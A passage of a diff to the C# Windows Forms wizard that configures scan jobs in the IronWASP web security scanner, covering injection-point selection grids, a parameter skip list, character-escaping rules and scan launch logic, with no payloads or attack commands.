Row in BodyTypeFormatPluginGrid.Rows) - { - Row.Cells[0].Value = Inject; - } - } - else if (BodyTypeCustomRB.Checked) - { - HighlightCustomInjectionPointsRTB.Text = ""; - CustomInjectionPointsHighlightLbl.Text = "0"; - CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); - } - UpdateInjectionPointLabels(); - } - void InjectCookie(bool Inject) - { - foreach (DataGridViewRow Row in ScanCookieGrid.Rows) - { - if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - continue; - else - Row.Cells[0].Value = Inject; - } - UpdateInjectionPointLabels(); - } - void InjectHeaders(bool Inject) - { - foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) - { - if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - continue; - else - Row.Cells[0].Value = Inject; - } - UpdateInjectionPointLabels(); - } - void InjectNames(bool Inject) - { - ScanQueryParameterNameCB.Checked = Inject; - ScanBodyParameterNameCB.Checked = Inject; - ScanCookieParameterNameCB.Checked = Inject; - ScanHeadersParameterNameCB.Checked = Inject; - UpdateInjectionPointLabels(); - } - #endregion - #region Step3Actions - void SetSessionPluginsCombo() - { - this.SessionPluginsCombo.Items.Clear(); - this.SessionPluginsCombo.Text = ""; - this.SessionPluginsCombo.Items.Add(""); - foreach (string Name in SessionPlugin.List()) - { - this.SessionPluginsCombo.Items.Add(Name); - } - } - #endregion - private void RequestSSLCB_CheckedChanged(object sender, EventArgs e) - { - this.RequestSSLCheckChanged = true; - } - - private void RequestRawHeadersIDV_IDVTextChanged() - { - this.RequestHeadersChanged = true; - this.ShouldSetInjectionPoints = true; - } - - private void RequestRawBodyIDV_IDVTextChanged() - { - this.RequestBodyChanged = true; - this.ShouldSetInjectionPoints = true; - } - - void SetScanPluginsGrid() - { - this.ScanPluginsGrid.Rows.Clear(); - foreach (string Name in ActivePlugin.List()) - { - this.ScanPluginsGrid.Rows.Add(new object[]{false, Name}); - } - } - - private void SelectAllChecksCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - Row.Cells[0].Value = SelectAllChecksCB.Checked; - } - } - - private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanPluginsGrid.SelectedRows == null) return; - if (ScanPluginsGrid.SelectedRows.Count == 0) return; - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = !((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value); - if (!(bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) SelectAllChecksCB.Checked = false; - } - - private void ASApplyCustomMarkersLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SetBodyTypeCustomInjectionPointsInUi(); - } - - private void BodyTypeNormalRB_CheckedChanged(object sender, EventArgs e) - { - ShowStep2Status(""); - if (BodyTypeNormalRB.Checked) - { - foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) - { - Row.Cells[0].Value = false; - } - ScanAllCB.Checked = false; - ScanBodyCB.Checked = false; - BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); - } - } - - private void BodyTypeFormatPluginRB_CheckedChanged(object sender, EventArgs e) - { - ShowStep2Status(""); - if (BodyTypeFormatPluginRB.Checked) - { - foreach (DataGridViewRow Row in BodyTypeFormatPluginGrid.Rows) - { - Row.Cells[0].Value = false; - } - ScanBodyFormatPluginTypeTabs.SelectTab("BodyTypeFormatPluginInjectionArrayGridTab"); - ScanAllCB.Checked = false; - ScanBodyCB.Checked = false; - BodyInjectTypeTabs.SelectTab("BodyTypeFormatPluginTab"); - } - } - - private void BodyTypeCustomRB_CheckedChanged(object sender, EventArgs e) - { - ShowStep2Status(""); - if (BodyTypeCustomRB.Checked) - { - HighlightCustomInjectionPointsRTB.Text = ""; - CustomInjectionPointsHighlightLbl.Text = "0"; - CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); - ScanAllCB.Checked = false; - ScanBodyCB.Checked = false; - BodyInjectTypeTabs.SelectTab("BodyTypeCustomTab"); - } - } - - private void ScanAllCB_Click(object sender, EventArgs e) - { - InjectAll(ScanAllCB.Checked); - if (ScanAllCB.Checked) - { - if (!UrlPathPartRequiresExplicitSelection) - { - ScanURLCB.Checked = ScanAllCB.Checked; - } - } - else - { - ScanURLCB.Checked = ScanAllCB.Checked; - } - ScanQueryCB.Checked = ScanAllCB.Checked; - ScanBodyCB.Checked = ScanAllCB.Checked; - ScanCookieCB.Checked = ScanAllCB.Checked; - ScanHeadersCB.Checked = ScanAllCB.Checked; - ScanParameterNamesCB.Checked = ScanAllCB.Checked; - } - - private void ScanURLCB_Click(object sender, EventArgs e) - { - InjectUrl(ScanURLCB.Checked); - if (!ScanURLCB.Checked) ScanAllCB.Checked = false; - } - - private void ScanQueryCB_Click(object sender, EventArgs e) - { - InjectQuery(ScanQueryCB.Checked); - if (!ScanQueryCB.Checked) ScanAllCB.Checked = false; - } - - private void ScanBodyCB_Click(object sender, EventArgs e) - { - InjectBody(ScanBodyCB.Checked); - if (!ScanBodyCB.Checked) ScanAllCB.Checked = false; - } - - private void ScanCookieCB_Click(object sender, EventArgs e) - { - InjectCookie(ScanCookieCB.Checked); - if (!ScanCookieCB.Checked) ScanAllCB.Checked = false; - } - - private void ScanHeadersCB_Click(object sender, EventArgs e) - { - InjectHeaders(ScanHeadersCB.Checked); - if (!ScanHeadersCB.Checked) ScanAllCB.Checked = false; - } - - private void ScanParameterNamesCB_Click(object sender, EventArgs e) - { - InjectNames(ScanParameterNamesCB.Checked); - if (!ScanParameterNamesCB.Checked) ScanAllCB.Checked = false; - } - - private void InjectionPointBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (InjectionPointBaseTabs.SelectedTab.Name.Equals("AllTab")) - UpdateInjectionPointLabels(); - } - - private void ScanURLGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanURLGrid.SelectedCells.Count < 1 || ScanURLGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.ScanURLGrid.SelectedCells[0].Value) - { - this.ScanURLGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanURLCB.Checked = false; - } - else - { - this.ScanURLGrid.SelectedCells[0].Value = true; - } - } - - private void ScanQueryGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanQueryGrid.SelectedCells.Count < 1 || ScanQueryGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.ScanQueryGrid.SelectedCells[0].Value) - { - this.ScanQueryGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanQueryCB.Checked = false; - } - else - { - if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanQueryGrid.SelectedCells[1].Value.ToString())) - { - ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); - } - else - { - this.ScanQueryGrid.SelectedCells[0].Value = true; - } - } - } - - private void ScanBodyTypeNormalGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanBodyTypeNormalGrid.SelectedCells.Count < 1 || ScanBodyTypeNormalGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.ScanBodyTypeNormalGrid.SelectedCells[0].Value) - { - this.ScanBodyTypeNormalGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanBodyCB.Checked = false; - } - else - { - if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanBodyTypeNormalGrid.SelectedCells[1].Value.ToString())) - { - ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); - } - else - { - this.ScanBodyTypeNormalGrid.SelectedCells[0].Value = true; - } - } - } - - private void BodyTypeFormatPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (BodyTypeFormatPluginGrid.SelectedCells.Count < 1 || BodyTypeFormatPluginGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.BodyTypeFormatPluginGrid.SelectedCells[0].Value) - { - this.BodyTypeFormatPluginGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanBodyCB.Checked = false; - } - else - { - this.BodyTypeFormatPluginGrid.SelectedCells[0].Value = true; - } - } - - private void ScanCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanCookieGrid.SelectedCells.Count < 1 || ScanCookieGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.ScanCookieGrid.SelectedCells[0].Value) - { - this.ScanCookieGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanCookieCB.Checked = false; - } - else - { - if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanCookieGrid.SelectedCells[1].Value.ToString())) - { - ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); - } - else - { - this.ScanCookieGrid.SelectedCells[0].Value = true; - } - } - } - - private void ScanHeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanHeadersGrid.SelectedCells.Count < 1 || ScanHeadersGrid.SelectedCells[0].Value == null) - { - return; - } - if ((bool)this.ScanHeadersGrid.SelectedCells[0].Value) - { - this.ScanHeadersGrid.SelectedCells[0].Value = false; - this.ScanAllCB.Checked = false; - this.ScanHeadersCB.Checked = false; - } - else - { - if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanHeadersGrid.SelectedCells[1].Value.ToString())) - { - ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); - } - else - { - this.ScanHeadersGrid.SelectedCells[0].Value = true; - } - } - } - - private void ScanQueryParameterNameCB_Click(object sender, EventArgs e) - { - this.ScanAllCB.Checked = false; - this.ScanParameterNamesCB.Checked = false; - } - - private void ScanBodyParameterNameCB_Click(object sender, EventArgs e) - { - this.ScanAllCB.Checked = false; - this.ScanParameterNamesCB.Checked = false; - } - - private void ScanCookieParameterNameCB_Click(object sender, EventArgs e) - { - this.ScanAllCB.Checked = false; - this.ScanParameterNamesCB.Checked = false; - } - - private void ScanHeadersParameterNameCB_Click(object sender, EventArgs e) - { - this.ScanAllCB.Checked = false; - this.ScanParameterNamesCB.Checked = false; - } - - private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - ShowStep2Status("Deserialzing Request body using selected format"); - string PluginName = ""; - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - Row.Cells[0].Value = false; - if (e.RowIndex == Row.Index) PluginName = Row.Cells[1].Value.ToString(); - } - BodyTypeFormatPluginGrid.Rows.Clear(); - FormatXMLTB.Text = ""; - - if (!FormatPlugin.List().Contains(PluginName)) - { - ShowStep2Error("Selected Format Plugin not found"); - return; - } - FormatPlugin Plugin = FormatPlugin.Get(PluginName); - if (BodyDeserializeThread != null) - { - try { BodyDeserializeThread.Abort(); } - catch { } - } - BodyDeserializeThread = new Thread(DeserializeRequestBody); - BodyDeserializeThread.Start(Plugin); - } - - void DeserializeRequestBody(object FormatPluginObject) - { - try - { - FormatPlugin FP = (FormatPlugin)FormatPluginObject; - string XML = FP.ToXmlFromRequest(RequestToScan); - string[,] XmlInjectionPoints = FormatPlugin.XmlToArray(XML); - SetBodyTypeFormatPluginInjectionPointsInUi(FP.Name, XmlInjectionPoints, XML); - SetBodyTypeMessage(string.Format("Request body format has been set by you as '{0}'", FP.Name)); - ShowStep2Status(""); - } - catch (ThreadAbortException) { } - catch(Exception Exp) - { - IronException.Report("Error deserializing Request body", Exp); - ShowStep2Error("Error parsing Request body in selected format"); - } - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - if (FinalBtn.Text.Equals("Close")) - { - this.CanClose = true; - this.Close(); - } - else - { - try - { - FinalBtn.Enabled = false; - if (this.ScanJobMode) - { - Step3StatusTB.Text = "Creating scan job, please wait..."; - } - else - { - Step3StatusTB.Text = "Reading your inputs, please wait..."; - } - - Scanner NewScanner = new Scanner(RequestToScan); - - string SessionPluginName = SessionPluginsCombo.Text; - - - if (SessionPluginName.Length > 0) - { - if (SessionPlugin.List().Contains(SessionPluginName)) - { - if (ScanThreadLimitCB.Checked) - { - Scanner.MaxParallelScanCount = 1; - IronUI.UpdateScannerSettingsInUIFromConfig(); - IronDB.StoreScannerSettings(); - } - } - else - { - Step3StatusTB.Text = "Invalid Session Plugin name selected."; - FinalBtn.Enabled = true; - return; - } - } - - // - //No updates to the NewScanner object must be done before calling this.UpdateScannerFromUi method. - //There is a chance that this method might create a new scanner object and return it (when custom body injection points is selected). - //Any updates to NewScanner made before this method are lost if a new scanner object is returned - // - if (ScanJobMode) - { - NewScanner = this.UpdateScannerFromUi(NewScanner, SessionPluginName); - } - else - { - this.Fuzz = (Fuzzer) this.UpdateScannerFromUi(this.Fuzz, SessionPluginName); - } - - if (ScanJobMode) - { - int ScanID = NewScanner.LaunchScan(); - Step3StatusTB.Text = string.Format("Scan has been started. The ID for this scan job is {0}.\r\n\r\nThe status of this scan job can be checked in the 'Automated Scanning' tab, this window can be closed.", ScanID); - FinalBtn.Text = "Close"; - StepFourPreviousBtn.Enabled = false; - FinalBtn.Enabled = true; - } - else - { - this.CanClose = true; - this.Close(); - } - } - catch (Exception Exp) - { - if (this.ScanJobMode) - { - IronException.Report("Error starting a configured scan", Exp.Message, Exp.StackTrace); - Step3StatusTB.Text = "Error Starting Scan!"; - } - else - { - IronException.Report("Error getting injection points from UI", Exp.Message, Exp.StackTrace); - Step3StatusTB.Text = "Error reading Injecton Points"; - } - FinalBtn.Enabled = true; - } - } - } - - Scanner UpdateScannerFromUi(Scanner NewScanner, string SessionPluginName) - { - //Body must come above everything else because for a custom injection marker selection a new scanner object is created. - int SubParameterPosition = 0; - string ParameterName = ""; - #region BodyInjectionPoints - if (BodyTypeNormalRB.Checked) - { - SubParameterPosition = 0; - ParameterName = ""; - - foreach (DataGridViewRow Row in this.ScanBodyTypeNormalGrid.Rows) - { - string CurrentParameterName = Row.Cells[1].Value.ToString(); - if (ParameterName.Equals(CurrentParameterName)) - { - SubParameterPosition++; - } - else - { - ParameterName = CurrentParameterName; - SubParameterPosition = 0; - } - if ((bool)Row.Cells[0].Value) - { - NewScanner.InjectBody(ParameterName, SubParameterPosition); - } - } - } - else if (BodyTypeFormatPluginRB.Checked) - { - bool FormatPluginSelected = false; - bool FormatPluginInjectionPointSelected = false; - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - NewScanner.BodyFormat = FormatPlugin.Get(Row.Cells[1].Value.ToString()); - FormatPluginSelected = true; - break; - } - } - foreach (DataGridViewRow Row in this.BodyTypeFormatPluginGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - FormatPluginInjectionPointSelected = true; - break; - } - } - if (FormatPluginSelected && FormatPluginInjectionPointSelected) - { - NewScanner.InjectionArrayXML = FormatXMLTB.Text; - NewScanner.XmlInjectionArray = new string[BodyTypeFormatPluginGrid.Rows.Count, 2]; - NewScanner.BodyXmlInjectionParameters = new Parameters(); - for (int i = 0; i < BodyTypeFormatPluginGrid.Rows.Count; i++) - { - NewScanner.XmlInjectionArray[i, 0] = BodyTypeFormatPluginGrid.Rows[i].Cells[1].Value.ToString(); - NewScanner.XmlInjectionArray[i, 1] = BodyTypeFormatPluginGrid.Rows[i].Cells[2].Value.ToString(); - NewScanner.BodyXmlInjectionParameters.Add(NewScanner.XmlInjectionArray[i, 0], NewScanner.XmlInjectionArray[i, 1]); - } - - foreach (DataGridViewRow Row in this.BodyTypeFormatPluginGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - NewScanner.InjectBody(Row.Index); - } - } - } - } - else if (BodyTypeCustomRB.Checked) - { - if (ScanBodyCB.Checked) - { - Request RequestToScanClone = RequestToScan.GetClone(); - RequestToScanClone.BodyString = SetCustomInjectionPointsSTB.Text; - if (ScanJobMode) - { - NewScanner = new Scanner(RequestToScanClone); - } - else - { - NewScanner = new Fuzzer(RequestToScanClone); - this.Fuzz = (Fuzzer) NewScanner; - } - NewScanner.InjectBody(CurrentStartMarker, CurrentEndMarker); - lock (Scanner.UserSpecifiedEncodingRuleList) - { - Scanner.UserSpecifiedEncodingRuleList.Clear(); - foreach (DataGridViewRow Row in CharacterEscapingGrid.Rows) - { - Scanner.UserSpecifiedEncodingRuleList.Add(new string[] { Row.Cells[1].Value.ToString(), Row.Cells[3].Value.ToString() }); - if ((bool)Row.Cells[0].Value) - NewScanner.AddEscapeRule(Row.Cells[1].Value.ToString(), Row.Cells[3].Value.ToString()); - } - } - IronDB.StoreCharacterEscapingRules(); - } - else - { - NewScanner.CustomInjectionPointStartMarker = ""; - NewScanner.CustomInjectionPointEndMarker = ""; - } - } - #endregion - #region UrlPathPartsInjectionPoints - for (int i = 0; i < this.ScanURLGrid.Rows.Count; i++) - { - if ((bool)this.ScanURLGrid.Rows[i].Cells[0].Value) - { - NewScanner.InjectUrl(i); - } - } - #endregion - #region QueryInjectionPoints - SubParameterPosition = 0; - ParameterName = ""; - foreach (DataGridViewRow Row in this.ScanQueryGrid.Rows) - { - string CurrentParameterName = Row.Cells[1].Value.ToString(); - if (ParameterName.Equals(CurrentParameterName)) - { - SubParameterPosition++; - } - else - { - ParameterName = CurrentParameterName; - SubParameterPosition = 0; - } - if ((bool)Row.Cells[0].Value) - { - NewScanner.InjectQuery(ParameterName, SubParameterPosition); - } - } - #endregion - #region CookieInjectionPoints - SubParameterPosition = 0; - ParameterName = ""; - foreach (DataGridViewRow Row in this.ScanCookieGrid.Rows) - { - string CurrentParameterName = Row.Cells[1].Value.ToString(); - if (ParameterName.Equals(CurrentParameterName)) - { - SubParameterPosition++; - } - else - { - ParameterName = CurrentParameterName; - SubParameterPosition = 0; - } - if ((bool)Row.Cells[0].Value) - { - NewScanner.InjectCookie(ParameterName, SubParameterPosition); - } - } - #endregion - #region HeaderInjectionPoints - SubParameterPosition = 0; - ParameterName = ""; - foreach (DataGridViewRow Row in this.ScanHeadersGrid.Rows) - { - string CurrentParameterName = Row.Cells[1].Value.ToString(); - if (ParameterName.Equals(CurrentParameterName)) - { - SubParameterPosition++; - } - else - { - ParameterName = CurrentParameterName; - SubParameterPosition = 0; - } - if ((bool)Row.Cells[0].Value) - { - NewScanner.InjectHeaders(ParameterName, SubParameterPosition); - } - } - #endregion - #region ParameterNameInjectionPoints - if (ScanQueryParameterNameCB.Checked) - { - NewScanner.InjectParameterName("Query"); - } - if (ScanBodyParameterNameCB.Checked) - { - NewScanner.InjectParameterName("Body"); - } - if (ScanCookieParameterNameCB.Checked) - { - NewScanner.InjectParameterName("Cookie"); - } - if (ScanHeadersParameterNameCB.Checked) - { - NewScanner.InjectParameterName("Headers"); - } - #endregion - - #region SetSessionPlugin - SessionPluginName = SessionPluginsCombo.Text; - if (SessionPluginName.Length > 0) - { - NewScanner.SessionHandler = SessionPlugin.Get(SessionPluginName); - } - #endregion - - - #region SetChecks - if (this.ScanJobMode) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) NewScanner.AddCheck(Row.Cells[1].Value.ToString()); - } - } - #endregion - return NewScanner; - } - - private void AddToEscapeRuleBtn_Click(object sender, EventArgs e) - { - ShowCharacterEscapeError(""); - string RawCharacter = RawCharacterTB.Text; - string EncodedCharacter = EncodedCharacterTB.Text; - foreach (DataGridViewRow Row in CharacterEscapingGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(RawCharacter) && Row.Cells[3].Value.ToString().Equals(EncodedCharacter)) - { - ShowCharacterEscapeError("This rule already exists."); - return; - } - } - int RowId = CharacterEscapingGrid.Rows.Add(new object[]{false, RawCharacter, "->", EncodedCharacter}); - try - { - CharacterEscapingGrid.FirstDisplayedScrollingRowIndex = RowId; - } - catch { } - RawCharacterTB.Text = ""; - EncodedCharacterTB.Text = ""; - } - - void ShowCharacterEscapeError(string Error) - { - CharacterEscapingStatusTB.Text = Error; - if (Error.Length == 0) - CharacterEscapingStatusTB.Visible = false; - else - CharacterEscapingStatusTB.Visible = true; - } - - private void EditRuleToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - RawCharacterTB.Text = CharacterEscapingGrid.SelectedRows[0].Cells[1].Value.ToString(); - EncodedCharacterTB.Text = CharacterEscapingGrid.SelectedRows[0].Cells[3].Value.ToString(); - CharacterEscapingGrid.Rows.RemoveAt(CharacterEscapingGrid.SelectedRows[0].Index); - ShowCharacterEscapeError(""); - } - catch { } - } - - private void DeleteRuleToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - CharacterEscapingGrid.Rows.RemoveAt(CharacterEscapingGrid.SelectedRows[0].Index); - } - catch { } - } - - private void CharacterEscapingMenu_Opening(object sender, CancelEventArgs e) - { - if (CharacterEscapingGrid.SelectedCells.Count < 1 || CharacterEscapingGrid.SelectedCells[0].Value == null) - { - EditRuleToolStripMenuItem.Enabled = false; - DeleteRuleToolStripMenuItem.Enabled = false; - } - else - { - EditRuleToolStripMenuItem.Enabled = true; - DeleteRuleToolStripMenuItem.Enabled = true; - } - } - - private void BodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - switch (BodyInjectTypeTabs.SelectedTab.Name) - { - case ("BodyTypeNormalTab"): - if (BodyTypeNormalRB.Checked) - return; - break; - case ("BodyTypeFormatPluginTab"): - if (BodyTypeFormatPluginRB.Checked) - return; - break; - case ("BodyTypeCustomTab"): - if (BodyTypeCustomRB.Checked) - return; - break; - } - if (BodyTypeNormalRB.Checked) - { - BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); - } - else if (BodyTypeFormatPluginRB.Checked) - { - BodyInjectTypeTabs.SelectTab("BodyTypeFormatPluginTab"); - } - else if (BodyTypeCustomRB.Checked) - { - BodyInjectTypeTabs.SelectTab("BodyTypeCustomTab"); - } - else - { - BodyTypeNormalRB.Checked = true; - BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); - } - } - - private void CharacterEscapingGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - try - { - ShowCharacterEscapeError(""); - DataGridViewRow SelectedRow = CharacterEscapingGrid.Rows[e.RowIndex]; - if ((bool)SelectedRow.Cells[0].Value) - { - SelectedRow.Cells[0].Value = false; - } - else - { - string RawCharacter = SelectedRow.Cells[1].Value.ToString(); - string EncodedCharacter = SelectedRow.Cells[3].Value.ToString(); - foreach (DataGridViewRow R in CharacterEscapingGrid.Rows) - { - if ((bool)R.Cells[0].Value && R.Cells[1].Value.ToString().Equals(RawCharacter)) - { - ShowCharacterEscapeError(string.Format("A rule for {0} has already been selected", RawCharacter)); - return; - } - } - SelectedRow.Cells[0].Value = true; - } - } - catch { } - } - - private void UseBlackListCB_Click(object sender, EventArgs e) - { - if (UseBlackListCB.Checked) - { - EnforceParametersBlackList(); - } - } - - void EnforceParametersBlackList() - { - foreach (DataGridViewRow Row in ScanQueryGrid.Rows) - { - if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - Row.Cells[0].Value = false; - } - foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) - { - if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - Row.Cells[0].Value = false; - } - foreach (DataGridViewRow Row in ScanCookieGrid.Rows) - { - if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - Row.Cells[0].Value = false; - } - foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) - { - if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) - Row.Cells[0].Value = false; - } - UpdateInjectionPointLabels(); - } - - private void ParametersBlacklistTB_TextChanged(object sender, EventArgs e) - { - WasParametersBlackListChanged = true; - } - - private void InjectionPointBaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - if (InjectionPointBaseTabs.SelectedTab.Name.Equals("BlackListTab")) - { - if (WasParametersBlackListChanged) CheckAndUpdateParametersBlackList(); - } - } - - - - void CheckAndUpdateParametersBlackList() - { - if (WasParametersBlackListChanged) - { - string[] NewList = ParametersBlacklistTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - lock (ParametersBlackList) - { - ParametersBlackList.Clear(); - foreach (string NL in NewList) - { - string Item = NL.Trim(); - if (!ParametersBlackList.Contains(Item)) ParametersBlackList.Add(Item); - } - } - IronDB.StoreParametersBlackList(); - WasParametersBlackListChanged = false; - } - } - - private void PlaceInjectionMarkerLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (!CustomInjectionMarkerTabs.SelectedTab.Name.Equals("CustomMarkerSelectionTab")) - { - CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); - return; - } - string StartMarker = CustomStartMarkerTB.Text.Trim(); - string EndMarker = CustomEndMarkerTB.Text.Trim(); - if (StartMarker.Length == 0 || EndMarker.Length == 0) - { - ShowStep2Error("Start and End markers cannot be empty."); - return; - } - if (StartMarker.Equals(EndMarker)) - { - ShowStep2Error("Start and End markers cannot be the same."); - return; - } - - string ErrMsg = SetCustomInjectionPointsSTB.PlaceMarkersAroundSelectedText(StartMarker, EndMarker); - ShowStep2Error(ErrMsg); - } - - private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginsCombo.Items.Clear(); - SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - } - - private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); - SPCA.Show(); - } - - private void StartScanJobWizard_FormClosing(object sender, FormClosingEventArgs e) - { - if (IronUI.UI.CanShutdown) return; - if (!CanClose) - { - if (this.CurrentStep == 0) - { - this.CanClose = true; - } - else if ((this.ScanJobMode && this.CurrentStep == 3) || (!this.ScanJobMode && this.CurrentStep == 2)) - { - if (this.ScanJobMode) - { - e.Cancel = true; - MessageBox.Show("If you have started the scan then you can close this window by clicking on the 'Close' button on the button right corner of the window.\r\n Otherwise use the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - else - { - e.Cancel = true; - MessageBox.Show("You can close this window by clicking on the 'Done' button on the button right corner of the window."); - } - } - else - { - e.Cancel = true; - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class StartScanJobWizard : Form + { + bool CanClose = false; + + Fuzzer Fuzz = null; + + bool ScanJobMode = true; + + internal SessionPluginCreationAssistant SCA = null; + int CurrentStep = 0; + + Request RequestToScan = null; + bool RequestHeadersChanged = false; + bool RequestBodyChanged = false; + bool RequestSSLCheckChanged = false; + + bool WasParametersBlackListChanged = false; + bool ShouldSetInjectionPoints = true; + + bool UrlPathPartRequiresExplicitSelection = false; + + Thread BodyDeserializeThread; + + internal static List ParametersBlackList = new List(); + static List SelectedEncodingRules = new List(); + string CurrentStartMarker = ""; + string CurrentEndMarker = ""; + + public StartScanJobWizard() + { + InitializeComponent(); + + if (!ScanJobMode) + { + BaseTabs.TabPages.RemoveAt(1); + } + } + + internal Fuzzer GetFuzzer() + { + return this.Fuzz; + } + + private void ScanJobCustomizeBtn_Click(object sender, EventArgs e) + { + if (IsScanCustomizationAssistanctOpen()) + { + SCA.Activate(); + } + else + { + SCA = new SessionPluginCreationAssistant(); + SCA.Show(); + } + } + + bool IsScanCustomizationAssistanctOpen() + { + if (SCA == null) + { + return false; + } + else + { + if (SCA.IsDisposed) + { + return false; + } + else + { + return true; + } + } + } + + private void StartScanJobWizard_Load(object sender, EventArgs e) + { + //IronUI.AddStartScanJobWizard(this); + if (ScanJobMode) + { + SetScanPluginsGrid(); + } + SetParametersBlackList(); + SetCharacterEscapingRules(); + SetSessionPluginsCombo(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.CanClose = true; + this.Close(); + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep0Status(""); + if (UpdateCurrentRequestFromUi()) + { + CurrentStep = 1; + BaseTabs.SelectTab(1); + } + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + CurrentStep = 0; + BaseTabs.SelectTab(0); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + ShowStep1Status(""); + if (IsCheckSelectionOk()) + { + CurrentStep = 2; + BaseTabs.SelectTab(2); + } + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + if (ScanJobMode) + { + CurrentStep = 1; + BaseTabs.SelectTab(1); + } + else + { + CurrentStep = 0; + BaseTabs.SelectTab(0); + } + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + ShowStep2Status(""); + if (IsInjectionPointSelectionOk()) + { + if (ScanJobMode) + { + CurrentStep = 3; + BaseTabs.SelectTab(3); + } + else + { + CurrentStep = 2; + BaseTabs.SelectTab(2); + } + } + } + + private void StepFourPreviousBtn_Click(object sender, EventArgs e) + { + if (ScanJobMode) + { + CurrentStep = 2; + 